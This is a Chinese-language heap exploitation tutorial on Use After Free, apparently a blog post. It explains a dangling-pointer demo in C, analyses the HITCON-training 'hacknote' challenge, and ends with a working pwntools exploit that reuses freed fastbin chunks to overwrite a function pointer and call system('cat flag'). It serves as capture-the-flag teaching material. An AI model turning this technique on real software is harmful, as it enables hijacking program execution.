用户登录
用户注册

分享至

好好说话之Use After Free

  • 作者: 金屋藏蕉灬
  • 来源: 51数据库
  • 2021-09-02

到了Use After Free啦,总体来说这种手法并不复杂,特征也很明显,就是在静态分析阶段观察释放chunk之后指针是否置空。本以为参加hw会往后拖更,没想到这么快就写完了。如果前面一直跟着学的话这部分也应该难不到你,我会在接下来的Fastbin Attack等你,加油~

编写不易,如果能够帮助到你,希望能够点赞收藏加关注哦Thanks?(・ω・)ノ

往期回顾:
好好说话之unlink
好好说话之Chunk Extend/Overlapping
好好说话之off-by-one

Use After Free

原理

我们可以直接从字面上翻译它的意思:使用被释放的内存块。其实当一个内存块被释放之后重新使用有如下几种情况:

  • 内存块被释放后,其对应的指针被设置为NULL,再次使用时程序会崩溃
  • 内存块被释放后,其对应的指针没有被设置为NULL,在它下一次被使用之前,没有代码对这块内存块进行修改,那么程序有可能可以正常运转
  • 内存块被释放后,其对应的指针没有被设置为NULL,但是在下一次使用之前,有代码对这块内存进行了修改,那么当程序再次使用这块内存时,就很有可能出现问题

我们再来看一下正常释放之后是怎么将指针设置为NULL的,这里引用一下前面好好说话之Chunk Extend/Overlapping中题目的源码举例:

我们一般所指的Use After Free漏洞主要是后两种,一般将释放后没有被设置为NULL的内存指针为dangling pointer

举例讲解

//gcc -g test.c -o test
  1 #include <stdio.h>
  2 #include <stdlib.h>
  3 typedef struct name {
  4   char *myname;
  5   void (*func)(char *str);
  6 } NAME;
  7 void myprint(char *str) { printf("%s\n", str); }
  8 void printmyname() { printf("call print my name\n"); }
  9 int main() {
 10   NAME *a;
 11   a = (NAME *)malloc(sizeof(struct name));
 12   a->func = myprint;
 13   a->myname = "I can also use it";
 14   a->func("this is my function");
 15   free(a);
 16   a->func("I can also use it");
 17   a->func = printmyname;
 18   a->func("this is my function");
 19   a = NULL;
 20   printf("this pogram will crash...\n");
 21   a->func("can not be printed...");
 22 }

简单的解释一下这段代码,首先创建了一个结构体name:

  3 typedef struct name {
  4   char *myname;
  5   void (*func)(char *str);
  6 } NAME;

这个结构体有两个成员变量,第一个是char类型的字符串指针 ,第二个是创建的函数指针

  7 void myprint(char *str) { printf("%s\n", str); }
  8 void printmyname() { printf("call print my name\n"); }

接下来 定义了两个函数:myprint和printmyname

  • myprint()函数 :需要传入一个char类型的字符串参数,函数执行会打印出传入的字符串
  • printmyname()函数:函数执行会打印出”call print my name“字符串
 10   NAME *a;
 11   a = (NAME *)malloc(sizeof(struct name));
 12   a->func = myprint;
 13   a->myname = "I can also use it";
 14   a->func("this is my function");

接下来看一下main函数部分,首先创建了一个结构体指针a并分配空间,使得a结构体的func成员变量等于 myprint()函数,并且传入了字符串参数”this is my function“,使得myname成员变量赋值为"I can also use it"。因为在编译的时候加了-g参数,我们使用gdb调试一个这个程序,在第15行下个断点看一下运行结果:


看一看到打印出了传入的字符串参数

 15   free(a);
 16   a->func("I can also use it");

接下来释放了a结构体,但是注意结构体指针在释放后没有置空,在释放之后再一次调用func成员变量中的myprint()函数,并传入字符串参数”I can also use it“,我们继续在17行下断点并运行:

可以看到myprint()函数依然可以被调用,并且成功执行打印出字符串。我们继续往下看:

 17   a->func = printmyname;
 18   a->func("this is my function");

接下来不仅仅是对函数的调用了,而是直接将func成员变量中的函数指针更改成了printmyname()函数,并且调用func成员变量。虽然printmyname()函数不需要参数,但为了能够让程序认为这里依然是myprint()函数,并且认为我们的操作是合法的,所以传入了参数"this is my function"。我们在19行下断点,并运行:

可以看到,即使我们改变了成员变量中的函数指针,依然可以顺利执行printmyname()函数,并打印出printmyname()函数中原有打印“call print my name”的功能

 19   a = NULL;
 20   printf("this pogram will crash...\n");
 21   a->func("can not be printed...");

继续往下看,我们将a结构体置空,打印出一个提示字符串,这样一来我们再一次调用func成员变量。我们在第22行下断点并运行:

可以看到只出现了提示标语,而没有出现调用func成员变量执行printmyname()函数的功能。这样一个例子可以很直观的体现出结构体指针在释放之后置空的重要性,以及没有置空情况下我们可以做些什么

例题 : hitcon-training-hacknote

这里我们以 HITCON-training 中的 lab 10 hacknote 为例

检查保护

可以看到这是一个32位的程序,开启了canary和NX保护。这里注意了,进入堆领域以来我们做的都是64位程序,所以在静态分析阶段会习惯性的打开ida x64,但是依然还是会有32位程序,不要搞错了。后面在动态分析阶段我会提醒你32位程序在分析时和64位有什么区别

静态分析

还是老规矩,锻炼自己静态分析的能力,尽可能的在这个阶段搜集好可能会用到的信息,打开ida x86我们看一下:

主函数

通过对main函数的解析,我们可以看到pwn堆这部分的题套路好像都是差不多,都是先做一个选择,然后执行各种功能。简单的解读一下这个代码,首先是执行menu()函数,可以在右面看到menu()函数其实就是个界面提示,对应着左侧的代码,当输入1时调用add_note()函数执行添加功能,当输入2时调用del_note()函数执行删除功能,当输入3时调用print_note()函数执行打印功能

添加功能:add_note()

简单的讲解一下add_note()函数的功能,首先第一个判断说明的是最多创建5个note,接下来循环5次,程序会判断notelist + i的位置是否已经有malloc指针,这里需要注意的是i是从0开始的,也就是说note的id是从0开始的。这个notelist其实是bss段的一个全局变量(红框),里面存放的都是malloc指针,也就是结构体指针,其地址为0x0804A070。在判断之后发现这个位置并没有结构体指针,那么就会创建一个8字节的chunk,后简称struct_chunk。需要注意的是因为这个程序时32位的,所以8个字节是两个地址位宽,也就是说这两个地址位宽中存放的其实是两个成员变量

在判断之后会在notelist + i位置放置print_note_content()函数指针,可以在右侧看到print_note_content()函数需要传入一个int型的参数,并打印出整型 +4的地址处的内容。接下来会打印字符串提示创建note的大小,外部输入的数值会存放到size变量中。v0变量以整型的形式装载结构体指针,并且在整型 + 4的地址处开辟size大小的chunk,后简称content_chunk,接下来是判断是否创建成功。如果创建成功则提示输入note的内容,程序会调用read函数将输入的内容放在*((void **)*(&notelist + i) + 1处,这里的+1其实是加一个地址位宽处的地址,也就是content_chunk中。并且read函数的三参是size,所以这里无法进行溢出

通过前面的分析,我们可以很清晰的看出整个结构体的结构,并且由于struct_chunk和content_chunk都是根据notelist的偏移来的,所以两个chunk一定是紧紧贴在一起的。我们把静态分析和程序结合起来,用代码的形式自动化完成这部分功能的调用:

删除功能:del_note()

简单的说一下这个删除功能,首先提示需要删除的图书id,接下来会将输入的数字赋给v1变量。if判断输入的数值是否合法,如果合法下一个if判断notelist + v1的位置是否有结构体,如果有的话首先释放的是content_chunk,然后释放的是struct_chunk。这里就出现了释放之后chunk指针不置空的问题,很有可能触发Use After Free

我们把静态分析和程序结合起来,用代码的形式自动化完成这部分功能的调用:

打印功能:print_note()

简单的说一下打印功能,还是首先提示输入需要打印的note的id,接下来做一个合法性判断,第二个if判断notelist + v1位置是否有结构体被创建,如果有则打印content_chunk中的内容。这里有点绕的地方就是怎么打印的:

(*(void (__cdecl **)(_DWORD))*(&notelist + v1))(*(&notelist + v1))

我们拆开来看,首先第一个&notelist + v1代表的是print_note_content()函数,因为在创建note功能的时候print_note_content()函数指针就是放在结构体的第一个成员变量中的,后面的(*(&notelist + v1))其实是print_note_content()函数的参数,我们再将print_note_content()函数拿出来:

(*(&notelist + v1))本身其实是个地址,但是存入print_note_content()函数后被强制转换成int型,+ 4之后其实是加了4个字节,也就是正好到content_chunk的位置,就相当于puts(content_chunk)

我们把静态分析和程序结合起来,用代码的形式自动化完成这部分功能的调用:

flag

在ida左侧的函数栏中还可以发现一个叫magic()的函数,这个函数执行的是system("cat flag"),压参的地址为0x0804898F,也就是说我们需要使用这个system函数来拿flag

动态调试

尝试

通过静态分析阶段的探索,我们知道了如下两个重要的点:

  • 出现问题的点:在释放后没有将chunk指针置空
  • chunk指针起始位置为notelist全局变量的地址:0x0804A070
  • system(“cat flag”)地址为:0x0804898F

在得到这两个关键信息后就可以着手尝试动态调试了,尝试的目的主要是在gdb中查看一下chunk之间的排列结构,进而判断应该溢出还是会重复申请释放。那么就先尝试和创建两个24个字节的note。gdb运行程序,并在主程序中选择1选项创建两个24个字节的note,由于malloc指针存放在0x0804A070处,所以使用命令x/20wx 0x0804A070查看一下:

可以看到这两个就是note1和note2的malloc指针:0x0804b0080x804b038。但是这里需要注意的是malloc指针其实指向的是chunk的内容部分,如果想要看完整的chunk结构体还要减去0x8(64位减0x10),因为需要把prev_size和size部分让出来。我们直接使用命令x/30wx 0x0804b000(0x0804b008 - 0x8)查看一下这几个chunk的分布情况:

可以看到,展现的样子和我们前面静态分析阶段得出的结论一样,struct_chunk和content_chunk是紧紧挨在一起的,图形化结构如下:

可能出现的问题:为什么申请的两个note要24个字节呢?

下个环节解答~

确定目标

虽然chunk在一起,但是无法进行溢出。没有修改功能,也不能自己构造结构体。那么只能去考虑释放与重新申请的过程中能够有所突破。在实施尝试之前我们需要确定一下要更改的目标:

没有溢出,无法构造,那么就只能将目光放在结构体中的print()函数指针上了,因为只有这里指向的位置才具有一定的执行功能,假设我们将print()函数指针替换成system(“cat flag”)指针就可以拿到flag了,那我们就随便选一个吧,将note0的print()函数指针替换掉

回答问题:为什么申请的两个note要24个字节呢?

其实note的content_chunk的大小无关紧要,随便申请多大的都可以(我没试过超出bin的),因为我们的目标在结构体struct_chunk中,所以只要content_chunk超过8个字节不影响接下来的操作就行

可能会出现的问题:为什么content_chunk一定要超过8个字节呢

下个环节解答

偷天换日

既然确定了目标,那么接下来考虑的就是怎么将print()函数指针替换成system(“cat flag”)。从我们以往做题的经验来看,所有更改执行流程的动作都是由数据来操作的,也就是说我们必须能够从外部输入,虽然没有修改功能,但是我们有创建功能啊。回想一下前面做过的题,举个栗子,假设在一个32位程序中,如果我们申请一个8字节的chunk,恰好bin中有一个空闲的16个字节(8 + 8)的chunk,那么就会直接从bin中摘这个16字节的chunk为我们所用。那么回到这题上,先将这两个note释放掉我们看一看,首先释放note1,再释放note0:

可以看到在释放note0和note1之后两个struct_chunk指针排进fastbin的0x10单向链表,两个content_chunk指针排进fastbin的0x20单向链表,他们之间的结构如下:

这个时候我们想想,结构体本身就是8个字节,如果在申请一个8字节的content_chunk的话那么程序是不是就会直接在fastbin的0x10单向链表中分配给我们两个0x10的chunk了。这里有一点需要注意申请的先后顺序,在前面在静态分析阶段,通过对添加功能的分析,我们了解到是现申请8个字节的struct_chunk,然后在申请size大小的content_chunk:

由于note0是后释放的,所以在fastbin中先被摘除,所以原note1的结构体struct_chunk1空间被重新启用作为note2的结构体struct_chunk2。接下来被摘除的是原note0的结构体struct_chunk0空间,被重新启用作为note2的内容content_chunk2:

这样一来在创建向content_chunk中写数据的时候直接写上system(“cat flag”)地址,那么sys_addr就会写在原有结构体0的print()函数指针的位置

拿flag

那么通过对note2的创建,将原有note0的print()函数指针修改成了sys_addr。这样一来由于在释放chunk之后指针没有置空,所以我们依然还可以调用note0中的打印功能,所以直接在主界面选择3打印选项,输入要打印的id为0的note,就可以触发system(“cat flag”)了!

EXP

from pwn import *

hollk = process('./hacknote')


def addnote(size, content):
    hollk.recvuntil(":")
    hollk.sendline("1")
    hollk.recvuntil(":")
    hollk.sendline(str(size))
    hollk.recvuntil(":")
    hollk.sendline(content)


def delnote(idx):
    hollk.recvuntil(":")
    hollk.sendline("2")
    hollk.recvuntil(":")
    hollk.sendline(str(idx))


def printnote(idx):
    hollk.recvuntil(":")
    hollk.sendline("3")
    hollk.recvuntil(":")
    hollk.sendline(str(idx))

magic = 0x0804898F #在ida里面找

addnote(32, "aaaa")
addnote(32, "ddaa")

delnote(0)
delnote(1)

addnote(8, p32(magic))
printnote(0)

hollk.interactive()

执行结果如下:

软件
前端设计
程序设计
Java相关